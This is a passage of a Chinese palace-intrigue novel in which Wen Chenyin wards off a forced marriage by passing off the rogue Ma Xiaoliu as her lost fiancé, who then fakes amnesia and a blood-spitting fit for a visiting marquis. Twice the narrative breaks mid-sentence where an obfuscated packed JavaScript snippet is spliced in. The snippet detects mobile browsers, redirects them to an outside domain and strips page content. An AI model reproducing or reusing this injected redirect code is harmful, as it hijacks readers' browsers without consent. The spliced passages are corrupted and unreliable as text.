温沉吟闻言,面露感叹:“贵妃娘娘虽远离故土,却无时无刻都在记挂着母国,这份用心,实在是让人叹服。” 对于她的冷嘲热讽,银骊姬充耳不闻,只是继续说道:“说起来,如今大凉国中最得皇帝陛下看重的,当属平阳王夏焘。他的儿子夏翌年纪虽轻,性情却十分骁勇,可算是大凉年轻一辈中的翘楚。本宫想着,你至今尚未婚配,翌儿也未娶正妻,若是你两人能修成秦晋之好,无论是对于燕凉两国,还是你们二人而言,都是最好不过了……” 夏翌这个名字温沉吟倒是不陌生。 此人的父亲夏焘与凉国太后银娍云自幼青梅竹马一同长大,后来更因力保年幼的凉王上位,而获封为平阳王,成为了大凉国内最具权势的武将。 只可惜身为平阳王世子的夏翌虽然气性悍勇,却因作风嚣张,性情傲慢,一直被朝臣所诟病,在大凉国中树敌不少。 随着平阳王年纪渐长,朝政之事逐渐力不从心,一直以来将其视作心腹的银娍云难免心下焦急,想要发展新的势力。 只可惜几番试探下来,朝臣们心思各异,一时间竟找不出如同平阳王一般愿意为她誓死效忠的人选。 无奈之下,她只能把希望继续寄托在夏氏一族身上。 能让夏翌与燕国的高官贵女联姻,无疑会给他在凉国的声望增加一枚有力的筹码。 几番盘算之后,对内能在大燕皇帝面前说上话,对外又有监军之能的侍卫司统领温北堂之女温沉吟,便成了他们最好的选择。 对于银骊姬的诸般打算,温沉吟心中十分清楚。 而且她也明白,对方看似在和她商量,实则早已拿定了主意,此番将她召进宫来,也无非想先试探一下她的反应。 若无合理的应对,这联姻之事距离板上钉钉,也就只差一道圣旨了。 念头至此,她迅速起身,在对方身前跪下:“贵妃娘娘如此关心臣女,臣女实在万分感激。只是六年前,陛下已为臣女赐婚。眼下婚约尚在,臣女实在不敢另嫁他人。” 银骊姬早已料定她会以婚约为托辞,不紧不慢地继续劝说道:“这个本宫自然知道,可是涧云峡一战后,云麾将军久无音讯,想来已是凶多吉少。本宫知道你是重情重义之人,对于这等噩耗,一时间也很难接受。但女子婚嫁乃是大事,实在是耽误不得,本宫也是因为心疼你,才会想着尽快给你找个好的归属……” 对方图穷匕现,为了逼她就范,竟然直接将裴瑾的生死之事抬上了桌面。 温沉吟心下恼怒,面上却浮出一丝冷笑:“贵妃娘娘所言极是。只是臣女毕竟与云麾将军有婚约,听闻他失踪之后,便一直在尽力寻找。如今幸得上天垂怜,将他送回了臣女身边……他既尚在人世,臣女便不敢有负皇恩!” “什么???” 这意料之外的回答让银骊姬瞬间哑然,愣了半晌之后,才勉强挣出了一个问句:“你说云麾将军尚在人世?那他如今人在哪里?为何不曾入宫觐见?” 温沉吟垂目屏息,神色越发恭敬:“回贵妃娘娘的话,云麾将军遭遇变故,不仅身负重伤,而且精神状况也不太好,实在不宜进宫面圣。因此臣女只能擅作主张,暂且先将他安置在温府中了。” 7. 访客 出了景阳宫,温沉吟那张一直恭顺小心的脸立马沉了下来。 虽说不久之前,她用裴瑾回归的消息暂时堵住了银骊姬的嘴,迫使对方没有就联姻一事继续纠缠下去,但她也很清楚,一切并未就此结束。 裴瑾毕竟是天下闻名的战神武将,一旦得知他回归的消息,一定会有各色人等人找着借口上门探问虚实。 即便她已经决定让马小六打着“失忆”的幌子应付,但来人之中既不会缺裴瑾的旧交,也不会少了他昔日的老对手,到时候是否会发现什么破绽,此时亦未可知。 所以未来的很长一段时间,她都半点都放松不得。 思绪纷扰之际,温沉吟已经缓步踏进了御花园。 此刻已是午时,宫人们大多在阴凉处休憩躲懒,花园中很是安静。 清风微扬间,盈盈的花香若有似无地扑向鼻间,那清爽的气味,让她一直紧绷着的神经,终于稍稍松弛了下来。 从锦鲤池旁路过时,耳边忽然传来“啪”的一声响,紧接着,身畔的池子里迅速泛起了一圈涟漪。 温沉吟愣了愣,第一反应是有人在恶作剧,故意朝她的方向扔石子。 但深宫之中,她不想节外生枝,于是只当作没听见一般,暗中加快了脚步。 几乎同时,有人忽然从她身侧的假山之后小心翼翼地探了个头出来。 确认四下无人后,那人跳下假山,快步跑到了她面前,嘴里还急声呼唤着:“温姐姐!温姐姐!” 温沉吟凝神一看,赶紧停下脚步,蹲身行礼:“臣女参见六殿下。” 对方瞪了瞪眼,有点不太高兴的样子:“温姐姐,我不是说过,私下见面的时候,不用行这样的大礼吗?你怎么又忘了?” 眼前那个被她称做“六殿下”的少年全名魏弘宣,是大燕皇帝魏栩明膝下的第六个儿子 多年之前,两人因同在一处名为“荟英堂”的学堂里读书而得以结缘。 只是当年的魏弘宣年纪尚幼,虽然贵为皇子,但因母亲早逝,无人照拂,身边并没有几个可以真心相待之人。 因此,在结识了年纪稍长,又极有主见的温沉吟后,他很快心生亲近之感,相处之间,竟是和温珩一样,把她当作了自己的姐姐一般。 但即便对方有心亲近,温沉吟却始终顾忌着对方的皇子身份,但凡见面,该有的礼数一样不会少。 此刻听他抱怨,她也不欲争辩,行完礼后,才轻声问道:“这大中午的,日头又那么热,殿下怎么会在这里?” “我知道你今日要进宫,离开时必会路经此地,所以才特意在这里等着你啊!” 听她发问,魏弘宣立马就将礼数之事抛到了脑后,然后很快压低了声音:“你方才是去见贵妃娘娘了吧?她是不是和你提了联姻之事?” “是……” “果然如此!” 魏弘宣闻言很是烦闷,原本因见到温沉吟而满是喜悦的一张脸也跟着垮了下来:“之前我听她在父皇面前不断提及姐姐与平阳王世子,便知道她没安好心,不料她最后还真的算计到了你的头上!前些日子我遣人将此事告知于你,原本是想着你能有所准备,把此事应付过去,却没想到……” “没想到什么?” 见他一脸沮丧,似是对自己的有心无力而满是懊恼,温沉吟只能柔声安抚道:“凉国需要依仗我燕国的支持稳定朝局,燕国同样也需要凉国的支持与庆国抗衡,能用一段联姻便能解决的问题,总比兵戎相见要来的好。陛下一旦拿定主意,旁人又能多说什么?” “原本我是想着,父皇对温统领十分信任。若你把此事告诉了他,说不定可解此困局……” “告诉他又如何?昔日里为了自己的身家地位,他尚且能弃我母亲的性命于不顾,今日难道还会为了我的婚嫁之事,去忤逆皇帝陛下么?” “……” 魏弘宣没想到自己情急之下的几句话,却戳中了对方的伤心事,一时间也有些手足无措, 想要出言安慰,却又不知该如何开口。 温沉吟见状,很快放缓了口气:“殿下关心臣女,臣女自是十分感激。只是联姻一事圣旨未下,或许还有回寰的余地,还请殿下切勿忧心。” “如此说来,你是已经有了应对之法了?” “算是吧……只是成与不成,还得看运气。” “那就好!” 魏弘宣知她心性,也知自己身为皇子,即便对她关心再多,也不宜牵扯太深。 因此点头之后,他也不再追根究底,只是肃声表示:“温姐姐,我知道你心系云麾将军,一定不想另嫁他人。此事虽说是父皇做主,但若我有什么能帮得上忙的地方,你一定不要和我客气!” 见他神情真挚,显然是把自己的事认真放在了心上,温沉吟那颗冷如磐石的心终究还是软了一下,声音也跟着低了下来:“多谢六殿下,你已经帮我很多了。若还有需要援手之处,我一定会来告诉你的。” 这一番寒暄下来,时间已是未时。 等到温沉吟出了宫,一路心事重重地回到温府,却发现卫宁正满脸焦急地在门外守着。 见她出现,卫宁赶紧脚步匆匆地迎了上来,开口之时,声音里都是显而易见的焦虑:“小姐,您可算是回来了!顾侯爷忽然到访,公子担心是和小姐今日进宫之事有关,便让属下先在这候着,好让小姐提前有个准备。” “顾侯爷?” 温沉吟闻言一惊,脚步也跟着顿住了。 卫宁口中的“顾侯爷”全名顾正霆,是大燕国内与裴行州并称“虎/骑双壁”的重臣武将。 虽然盛名之下,世人时时将两人拿来比较,想要替他们一较长短,但难得的是,同朝为臣的这些年,他们却一直关系紧密,从未有过半点龃龉。 只是比起性情刚正、直言不讳的裴行州,顾正霆为人处世更为周全,也更懂得在朝为官之道,因此也更能得到皇帝的信任和赏识。 此外,他还因为样貌英武,且战绩赫赫而得皇家指婚,迎娶了皇帝最小的妹妹昭熹长公主魏昭玥,不仅授爵封候,还成为了大燕国的驸马爷。 这样一个身份尊贵,又与裴氏父子关系交好的朝廷重臣忽然上门探访,自然是没有闭门谢客的道理。 微征之下,温沉吟迅速稳住心神:“侯爷来了多久了?现在人在何处?” “倒是刚来没多久。人到了以后,公子便将他引至正厅处饮茶,此刻应该还在寒暄着……” “那就好。” 听闻温珩暂时稳住了对方,温沉吟暗中松了一口气,随即便轻声交代道:“顾侯爷平日里公务繁忙,此番既然亲自造访,想来是无事不登三宝殿。你现在就去一趟西院,让院中诸人提前有个准备。我去面见侯爷,看看他此次前来,究竟所为何事……” 说话之间,两人已经一前一后踏进了温府前院。 卫宁听完的交代,正准备领命而去,随着一声招呼,一道高大的身影也已经从正厅踏步而出:“是琇琇回来了吗?方才我还想着,今日来的仓促,你既不在府中,是不是就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221100|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见不到了。没想到你这么快就回来了!“ 他叫的是“琇琇”,而非“阿吟”,似乎在他眼里,眼前的少女还是当年那个在父母膝下,单纯乖巧、不谙世事的小女孩。 听到这久违的称呼声,温沉吟心下一痛,只觉得百般滋味涌上心头。 但她脸上却迅速弯起了一抹笑,就连称呼也顺着对方的口吻变得亲近了起来:“顾伯伯平日公务繁忙,难有时间登门做客,却不想今日有这般好兴致!只是不知顾伯伯此次前来,是否有什么要紧事?” “也没什么要紧事,就是久日未见,过来看看你和阿珩罢了!” 顾正霆面色带笑,声音却低了下来:“另外就是,陛下听闻你找到了阿瑾,并将他安置在了府中养病,所以就特意让我过来瞧瞧,他身体状况究竟如何了……” 虽然事先已经有所准备,但这么短的时间内,裴瑾回归的消息就被银骊姬送到了皇帝耳里,速度之快,还是有些出乎温沉吟的意料。 更让她意外的是,事发之后第一个登门探访之人,还是如此让人难以拒绝。 只是对方既已表明是奉旨而来,又是与裴家关系亲近的长辈,若是再推三阻四,显然也说不过去。 言谈之间,温沉吟已经迅速向卫宁使了个眼色,随即轻声表示:“瑾哥此刻正在西院休养,只怕不便起身。顾伯伯既是来探病的,还得劳烦您随我走一趟。” 顾正霆倒是不以为意,很快点了点头:“既是如此,我便随你过去瞧瞧。” 前往西院的路上,温沉吟一直心有忐忑,就担心马小六不知轻重,无端闹出什么难以收拾的场面。 索性踏进西院之后,一切如常,屋子里也是静悄悄地,并没有什么奇怪的动静。 温沉吟心下略松,进门之前,还不忘先一步提醒:“顾伯伯,瑾哥失踪期间,或许是遇到了一些意外,这次回来之后,像是许多事像是都记不得了。若是一会言谈之间有所冒犯,还望您多多包含。” “这个我已然听说了……” 顾正霆显然已经从银骊姬那里得知了“裴瑾重创失忆”的消息,眉宇之中隐隐露出担忧之色:“阿瑾自幼便性格坚韧,不是会被轻易被击倒之人。变成如今这样,必定是遭遇了什么重大的变故。就是不知道除了失忆之外,他还有什么其他的伤势?你是否请大夫来瞧过了?大夫是怎么说的?” 温沉吟知道他自幼看着裴瑾长大,一直以来,也是把对方当作亲儿子一般。 眼下虽说是奉旨而来,但关切之情却滥于言表,于是赶紧宽慰道:“顾伯伯放心,我已经请大夫来看过了,瑾哥除了过去的事不太记得之外,性命倒是无碍。只是若想恢复如初,只怕是还需要静养一段时日……” 说话之间,一个侍女已经手持药碗,静静走到了卫宁身后。 温沉吟屏息凝神,在紧闭着的房门上轻轻敲了敲:“瑾哥,现在方便进来吗?顾伯伯来看你了。” 紧接而至的,是长长的一阵沉默,也不知房中之人是在沉睡,还是受惊之下,干脆一言不发地在装死。 顾正霆等了一阵不见反应,看向她的目光里带上了探问之色。 温沉吟也不知对方究竟是在玩什么花样,正犹豫着是要直接把门推开,还是干脆以此为借口把顾正霆劝退,一直安静的房间内忽然传来“咚”地一声重响。 那声重响仿佛一记重锤,打破了现场的沉默。 温沉吟心下一凌,还没来得及有所反应,顾正霆已经脸色骤变,快速踏步向前,重重把门推开了。 8. 做戏 房间之内,窗户紧闭。 昏暗的光线中,一团黑乎乎的人影已经蜷缩着倒在了地上。 顾正霆见状大惊,立马疾冲过去,将那团人影抱进怀里,一边拍打着他的脸庞,一边急促地呼唤道:“阿瑾,你这是怎么了?你能听见我说话吗?” 等了一阵后,眼见对方始终没有反应,他满脸焦急地扬起了头:“琇琇,你不是说他性命无碍吗?如今这样,究竟是怎么回事?” 温沉吟冷眼旁观到现在,也不知马小六究竟演的是哪一出。 但当着顾正霆的面,她也只能配合着眼前的戏码,也跟着俯下身来,满是惊惶地握住了对方的手:“瑾哥你醒醒!你可别吓我!” 随着她暗中将指甲掐进对方掌心的手动作,马小六吃痛之下手腕一抖,终于不情不愿地睁开了眼睛。 目光落在顾正霆脸上的那一刻,他的身体瞬间绷紧,紧跟着就重重挣扎了起来,就连声音变得干涩嘶哑:“你是谁?你想要干什么?” 即便知道对方是为了配合“失忆”的说辞在临场做戏,温沉吟的心却不自觉的抖了抖。 那一刻,对方那赤红的双眼、扭曲的表情和嘶哑的声音都和裴瑾交叠在了一起,让她忽然意识到,裴瑾当初身陷绝境,亲眼见到自己的部下接连战死时,大概就是这样绝望的痛苦着。 面对他敌意满满的反应,顾正霆显然有些无措。 慌乱之间,他只能一边将他抱在怀里,一边柔声安抚道:“阿瑾,你别怕!如今战事已平,你也已经安全了。我是你顾伯伯,你还记得我吗?” 在他耐心地解释声中,马小六终于停止了挣扎,身体也一点点地松弛了下来。 但那满是茫然的表情却明显昭示着,对眼前这个一脸关切着的男人,他依旧没有半点印象。 顾正霆满心期待的等了一阵,却没有等来自己期待中的回应,心急之下,只能继续提醒:“你小的时候,顾伯伯经常带你出去骑马。在你十岁生日那年,顾伯伯还送过你一匹棕色的小马当礼物。你很喜欢它,还给它取了一个名字叫逐云,不管走到哪里,都会带着它……” 说到这里,他忽然想到什么一样,声音变得越发急促:“有一次你带着逐云上练兵场,有人射箭失了准头,让它受到了惊吓,把你从马背上摔了下来!你的右手手肘上也因此留下了一道疤,顾伯伯还为此难过了很久……这些你都还记得吗?” 像是要证明自己所言不虚,顾正霆一边说着话,一边开始卷他的袖口,似是想要用那道伤疤去唤起他的记忆。 与此同时,马小六原本满是迷茫的脸上飞速闪过了一丝惊惶,像是对于他接下去的举动,不知该如何应付。 毕竟有关裴瑾的往事,他可以假装失忆用装疯卖傻的表现敷衍过去,但过往岁月中,留在裴瑾身体上的那些伤痕印记,却是无论如何也无法糊弄的。 眼见顷刻之间,马小六的右边胳膊已经顾正霆的强势拉拽之下露出了半截小臂,温沉吟将手一伸,挡在了他面前:“顾伯伯,瑾哥如今的状况,急着让他想起过去的事只会适得其反。反正时间还长,咱们也不用急于一时,不如先让他养好精神,咱们再慢慢想法子……” 不等对方拒绝,她已经抬头看向了卫宁的方向:“按照大夫的吩咐,如今差不多也到了该让瑾哥喝药的时候了……药都已经煎好了吗?” “小姐放心,已经煎好了。” 卫宁早已经带着侍女候在了一边,此刻听她问起,立马示意那侍女将药送了过去。 温沉吟接过药碗,顺势将马小六揽进了自己的怀里,再开口时,声音里带上了温柔的哄劝之意:“瑾哥,你什么都不用想,先把药喝了。顾伯伯只是一时心急,若是你害怕,他也是不会逼你的……” 顾正霆再是着急,见她有意劝阻,也没再坚持下去。 只是喝药这出戏温沉吟事先并未交代过,此刻忽然面滋味可疑的一碗汤水,马小六皱了皱眉,明显有些不情愿。 但顾正霆就杵在那,一副随时等着嘘寒问暖的模样,若是不喝,还不知道又会生出什么新的麻烦。 无奈之下,马小六只能暗中瞪了瞪眼,就着温沉吟已经递到嘴边的药碗,勉强喝了两口。 不料下一秒,随着惊天动地地一阵咳喘,刚刚咽下喉咙的药汁竟是被他撕心裂肺地全部吐了出来。 温沉吟知道药水临时调配,滋味必然不会太好,以马小六那头偷奸耍滑,从不愿委屈自己的作派,会想着法子吐出来也是预料之中的事。 她心中再是不满,但戏都已经做到这里,也不能半途翻脸,于是只能一脸关切地轻轻拍打起了他的后背,只盼着他装模作样的架势能赶紧收场。 不料刚拍了几下,马小六喉头一滚,竟是“哇”地一声呕了一口血出来! 顾正霆之前的探问被打断,原本还打算着等他把药喝完后再继续,此刻见他忽然呕血,一时间不由得慌了手脚。 没等旁人做出反应,他已经迅速扶住了马小六的身体,然后扭头看向了身后:“殷先生,还请你帮忙救救他!” 话音刚落,一个身着灰衣的男人已经面无表情地走出人群,在马小六的身后盘膝坐下,伸手抵住了他的后背。 此人自出现以来,便就一直不言不语地跟在顾正霆身后。温沉吟只当他是顾正霆身边一名普通的家仆,因此也并未过多留意。 但作为武将之女,她自幼接触过不少武学之士,此刻见他的举动,也知道他是在动用内力为马小六护脉疗伤。 富贵朝臣在府中养着一些江湖中的能人异士,在大燕国中也算是常事。 但看顾正霆对他那极为尊敬的态度,却非普通的客卿护卫可比。 温沉吟心下诧异,忍不住朝他多看了两眼,却只觉此人气质平庸,貌不惊人,实在很难给人留下什么深刻的印象。 然而在意识到顾正霆身边有这样一位深藏不露的武学高手后,她难免还是有些忧心。 半炷香的功夫后,随着马小六的咳喘声渐缓,灰衣男人才缓缓站起身来,冲着顾正霆的方向点了点头。 顾正霆见状,神色一松,立马出声安抚道:“琇琇你别担心,有殷先生帮忙,阿瑾已经没事了。只是为了保险起见,你最好再找几个大夫过来瞧瞧。” “多谢顾伯伯提醒,我知道了。” 温沉吟随口敷衍了几句,忍不住试探道:“殷先生方才为了救瑾哥,如此劳神费力,是否需要也请大夫过来悄瞧?” 顾正霆摇了摇头:“殷先生功力深厚,自有调养之法,你且不必担心。只是我看阿瑾今日的状况,短时间内的确是难以面圣。阿瑾的父母都不在了,身边也就剩下你这么个亲人。如今他既然已经在你府中住下,往后还得劳烦你和阿珩多多费心……” 听他提及已然故去的裴行州,温沉吟只觉得心下黯然:“顾伯伯放心,我定会将瑾哥照顾好。” 顾正霆轻声叹了叹,眼神中流露出怜惜之色:“我还有事在身,便不打扰了。此后若是有什么需要,你随时遣人来我府中。” 送走了顾正霆,一直神经紧绷的温珩终于松了一口气。 温沉吟却还惦记着那个姓殷的高手,便向他打听起了对方的来头。 温珩与顾正霆的独子顾青影年岁相仿,关系也算不错,平日里时常会相约出游,聊一聊身边发生的锁事趣闻。 但对于这位殷先生,他却也只是听顾青影随口提过对方名叫殷鹤,是三个月之前忽然出现在侯府中的。 顾青影见他身手不错,有心想要讨教,但对方的反应却十分冷淡,并不因为他侯府世子的身份便刻意讨好。 但因为顾正霆对他十分看重,态度也是礼遇有加,因此顾青影也不敢随意造次,讨教之事最终只能不了了之了。 说完殷鹤之事,温珩像是还惦记着马小六咳喘呕血的场面,于是便和温沉吟商量着是不是真的要找个大夫过来瞧瞧。 虽然没想明白马小六好端端的为何会忽然呕血,但温沉吟却笃定那必定与他的身体状况无关,略加思考后,她留下了温珩和卫宁,独自一人回到了马小六的房间。 房间里依旧还是暗沉沉的,却因为不久之前的那场闹剧,隐隐留下了一股苦涩的草药味。 马小六静静的躺在床上,双眼紧阖着,像是依旧还在昏睡中。 温沉吟缓步向前,站在床头,不动声色地打量着他的睡颜。 直到对方的眉角悄无声息地挑动了一下,像是再也装不下去了,她才悠然一叹:“行了,人已经走了,你可以起来了。” “人走了你不早说?害我一直躺到现在!” 话音刚落,原本还死气沉沉的马小六已经双眼一睁,一个鲤鱼打挺跳下床来。 “刚才那人是谁啊?我看你们一个个那么小心,是不是还挺不好惹的?” “他是顾侯爷,当朝昭熹长公主的驸马,因为战功赫赫,被陛下亲封为一品军侯。” “原来是驸马爷啊?难怪看上去那么威风……” 马小六啧声一叹,紧接着又问:“对了,刚才我怎么听他叫你琇琇?” 温沉吟不欲与他多废口舌,于是随口敷衍道:“那是我小时候的名字,母亲过世之后,就很少有人叫了。” “那多可惜啊,琇琇这个名字还挺好听的……” 马小六显然没有意识到这个名字背后的忌讳,立马兴致勃勃地建议道:“如果你喜欢,要不以后我也叫你琇琇吧。作为交换,你可以叫我小马驹!我小的时候,身边的人都是这么叫我来着……” “不必了!” 温沉吟心下厌烦,毫不留情地打断了他:“你先和我说说,方才你闹那么一出,究竟是怎么回事?” “方才?” 马小六撇了撇嘴,目光中露出了一丝狡黠:“之前你不是说,今日入宫之后,皇帝就会派人上门吗?既然躲不掉,我就干脆让他们亲眼见见我失心疯的场面,这不比大费唇舌地解释半天更有说服力么?” 说到这里,他忍不住抱怨了起来:“不过你也真是的,事先也没和我打声招呼,就忽然端了碗药上来。我这人从小就怕喝药,何况味道还那么苦!那一碗真要喝下去,没病都得被弄出点病来!” 对于他的抱怨,温沉吟并不理会,只是继续问:“那你好端端的为何会呕血?” “你说这个啊!那就是小爷我的本事了!” 马小六嘿声一笑,快步凑到她身前,将手心一展。 一个轻薄柔软,犹如鱼鳔一样的东西出现在了她的眼前。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16221101|181521||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “这东西是我自己做的!只要往里面装上一点血,然后藏在舌头底下,关键时候咬破,看上去就像呕血一般。我身在江湖这些年,可是靠它装死,保了不少次命呢……怎么样?是不是很厉害!” 在他满是得意地解释声中,温沉吟的目光落在了他那张灵动而狡黠的脸上,忽然就有些晃神。 在她的记忆中,这样的表情是很少出现在成年之后的裴瑾脸上的。 虽然她与裴瑾初相识时,对方也在她面前显露过飞扬跳脱、精怪顽皮的那一面,但随着年龄渐长,他很快收敛起了自己的少年心性,成长为性情稳重,举止端方,可以被士兵们信任并依赖的将领。 温沉吟知道,裴瑾向来崇拜自己的父亲,并一直在刻意模仿着他的举动,“虎贲将军”之子的身份和那些压在肩上的责任更是需要他无论面对任何变故,都需要保持泰山崩于前而面不改色的模样。 所以即便在面对她这个未过门的妻子时,那些柔软的情谊也总是被他小心翼翼地克制着,像是害怕会唐突了她一般。 那样的裴瑾让她心生崇拜,敬佩不已,但内心深处,真正让她砰然心跳的,却是对方偶尔真情流露,向她展露少年心性的瞬间。 所以她一直记得裴瑾最后一次出征前的那个黄昏,特意来到温府与她告别。 眉目俊朗的青年一身戎装,坐在窗下,姿态如凌霜的松柏一般清冽挺拔。 短短的半个时辰里,他轻声细语地问候了她的近况,然后又向她说起了自己在战场上的种种遭遇。 虽然那些话题都与儿女私情无关,但他看向她的目光里,却是止不住深情、羞赧与温柔。 温沉吟坐在一旁,静静的听着,心中只觉得又是甜蜜,又是酸楚。 她有心盼着他能多说一点,能够让她知道分别的那些日子里,对方究竟经历了什么。 可战场上的事听得越多,她就会越清晰的意识到,他们分别的日子已经太久太久,那些让对方或雀跃,或煎熬,或烦恼,或骄傲的时光,她都未能参与其中。 时至离别时,裴瑾却像是再也克制不住满心的思念与悸动,原本已要踏出屋子的脚步忽然顿住,然后转过身来,缓步走到了她身前。 那一刻,随着那道清俊的影子迎面而来,温沉吟心跳如鼓,甚至下意识以为他要拥她入怀。 然而最终,裴瑾却只是低下头,柔声说道:“我记得你曾经说过,一直想要去祁山那边看看那种叫赤睚的小红马,这次原本是想带一只回来送给你的,只可惜时间太紧,最后还是耽误了……如果你愿意,等我下次回来,便陪你一起去看看,好吗?” “真的吗?” “嗯……真的。” 在她满是惊喜的反应里,战场上威风凛凛的青年将军嘴角弯起,眼睛里带上了温柔的笑意。然后他像年幼的孩童一样,伸出了自己右手的小指:“你若不放心,我们拉勾为誓,好不好?” 他温柔的注视下,温沉吟很快伸出手,与他勾在了一起,久久未曾分开。 似乎这样简单的触碰,就已经能够表明彼此的心意。 只是如今,手指相扣的温度尤在指尖,但让她满心牵挂着的那个人,却已经消失不见了。 见她神色怔怔,半天没有回应,马小六似乎有些不满。 等了一阵后,他干脆伸手在她眼前晃了晃:“喂!你在想什么呢?” 温沉吟这才回过神来:“没什么……” “那你说说看,我刚才的表现是不是很精彩?” “嗯,还不错……” “实话和你说了吧,我嘴里不仅能藏血袋,还能藏刀片!” “哦……” “你还不赶紧夸夸我?” “……” 在他得意洋洋的表情里,温沉吟垂下眼睛,将目光从他的脸上移开:“你想装做病重早些将侯爷支走,这主意到是不错。只是有些事过犹不及,演得太过了,反而就不好了。” 听她话里有话,马小六不禁愣了愣:“你这话什么意思?” 温沉吟低声一叹:“一个人就算记忆受损,什么都不记得了,但内功的底子却不会变。方才帮你运功疗伤的那位殷先生,明显是武学大家。这番折腾下来,你功力深浅,是否真的受过伤,只怕他如今都已经心知肚明了……” “你是担心他已经发现破绽了?” 这番前情大大出乎马小六的意料,让他也跟着紧张了起来:“如果真是这样,他会将此事告诉那位侯爷吗?如果顾侯爷知道情况有异,会继续追查下去吗?可是我看他一口一句琇琇,像是对你也很关心,就算发现有什么不对劲,应该不至于来找你麻烦吧?” “顾伯伯虽说对我不错,但毕竟是天子重臣,又把瑾哥视若己出。若是真的怀疑你的身份,结果如何,那可难说了。” “那你打算怎么办?” 马小六显然是急了,不久之前还满是得瑟的表情已然荡然无存:“咱们需不需要再找个法子,把这件事圆过去?” “不必了……” 一番思量下来,温沉吟已经做好了决定:“无论顾伯伯是否会有所怀疑,此刻再做掩饰,也已经来不及了。事已至此,我们先静观其变,真有什么变数,再做应对也不迟。” 9. 读书 马小六胆大妄为,自作聪明的一番举动,虽然支走了顾正霆,暂时化解的危机,却也就此埋下了隐患。 为了防止顾正霆再次上门查探,温沉吟打起了十二分的精神,做好了诸般准备 不料接下来的日子里,对方除了时常遣人送来一些药材和滋补品之外,竟是再也没有出现过。 温沉吟心下不安,不免暗中打探了一番,这才知道对方竟是被涧云峡之战带来的一系列连锁反应给困住了。 过往的八年间,大燕北境因为裴氏父子的镇守而得保安宁。 如今裴行州身死,裴瑾身负重伤的消息又已传出,原本就虎视眈眈的周边列国难免想要借此机会讨些便宜。 而作为老对手的庆国大军,虽然在涧云峡一战后因元气大伤而暂时蛰伏,但谁也不知道这样的平静究竟能够维持多久。 这种情况下,魏栩明开始频频召见以顾正霆为首的朝中武将,积极讨论应对之策。 得知顾正霆因忙于公务而分身乏术,短时间内不会再登门之后,温沉吟内心总算是松了一口气。 毕竟他与裴氏父子的关系亲近,若是频繁登门,与马小六近距离接触,难免会发现一些常人难以觉察的破绽。 至于其他探访着,从他们的反应来看,都只是将关注的重点放在了马小六的身体状况上,却没有对他的身份真假表示过怀疑。 所以马小六只要继续装傻装病装失忆,就已经足够应付了。 眼见一切就此归于平静,温沉吟也打算重新着手打听裴瑾的下落。 不了几日之后,凉国使团即将到来的消息却犹如一颗掷入湖面的石子,再次将平静打破了。 温沉吟心里很清楚,马小六的出现虽然暂时挡住了联姻之事,但银骊姬和凉国太后那边,却并未打算就此消停。 裴、温两家虽有婚姻之约,但她却并未正式出阁。 若是裴瑾健康堪忧,时日无多,对方大可等到他一命呜呼后,在联姻一事上再做文章。 此番凉国特意派使团过来,大概就是想亲眼见证一下,裴瑾的身体状况究竟如何。 何况除了即将高调前来的凉国使团外,来自敌国的暗探们也在蠢蠢欲动。 裴瑾素有“战神”之称,但凡能站上沙场,对敌军而言,就是一种巨大的威慑,此番他失踪归来,伤势究竟如何,是否能重返战场,必然是他们关注的目标。 如今凉国使团来访,各方暗探自然也不会放过这次机会,必定会想法设法地打听出点什么。 比起温沉吟的满腹心绪,马小六的表现却要轻松得多。 大概是偷鸡摸狗,饥一顿饱一顿的日子过了太久,忽然间天降大运,把他送进了这么个衣食不愁,事事有人伺候的富贵人家,马小六一直都表现得很兴奋。 平日除了应付访客时会躺在房间里有气无力地演戏装死之外,大部分时间他都会在温府里东走西逛,要么就是顺手牵羊地拿上一些值钱的用具摆件藏到自己的屋子里,要么就是逮着漂亮的侍女调笑闲聊。 温沉吟没有心情在这些小事上和他计较,总是睁一只眼闭一只眼当没看见。 但温府再大,终究也有逛完的时候。 等到大半个月过去,马小六对于这座大宅的新鲜感已然耗尽,便忍不住又开始作妖生事。 但凡逮着机会,便会在温沉吟面前哼哼唧唧的表示,自己在府中呆得实在憋闷,想去出门上街逛逛,顺便再去见见昔日的老朋友。 温沉吟知他赌徒心性,所谓的出门逛街见朋友,无非就是找个赌坊赌上几场过过瘾。 但为了这来之不易的清净,她也没揭穿,只是耐心劝说道:“如今瑾哥回归大燕的消息已经传了出去,许多眼睛都在盯着你。你若是此时出去,只怕会有麻烦。” 对于她的劝说,马小六只觉得不屑一顾:“你父亲不是侍卫司统领吗?而且我看你府里的下人一个个也威风的很啊!有他们保护我,还能有什么麻烦?再说了,你之前只是说让我冒充云麾将军,可没说要限制我的自由!如今我想出去走走,可也算不得不守信用!” 见他一脸理直气壮,温沉吟也不想与他纠缠,只能继续哄劝道:“无聊也不是非要出门不可。你若实在闲得慌,我倒是可以陪你做些有意思的事。” “啊?你说真的?” 听她如此一说,马小六的眼睛瞬间亮了起来,立马摩拳擦掌地往她身前一凑:“你有什么新鲜玩意,赶紧说来听听!” 温沉吟原本只是随口应付,却没想到他如此较真。 略加思考后,便朝着身旁的侍女低声交代了几句。 不过片刻,侍女们就把笔墨纸砚和几叠厚厚的书搬进了他的房间。 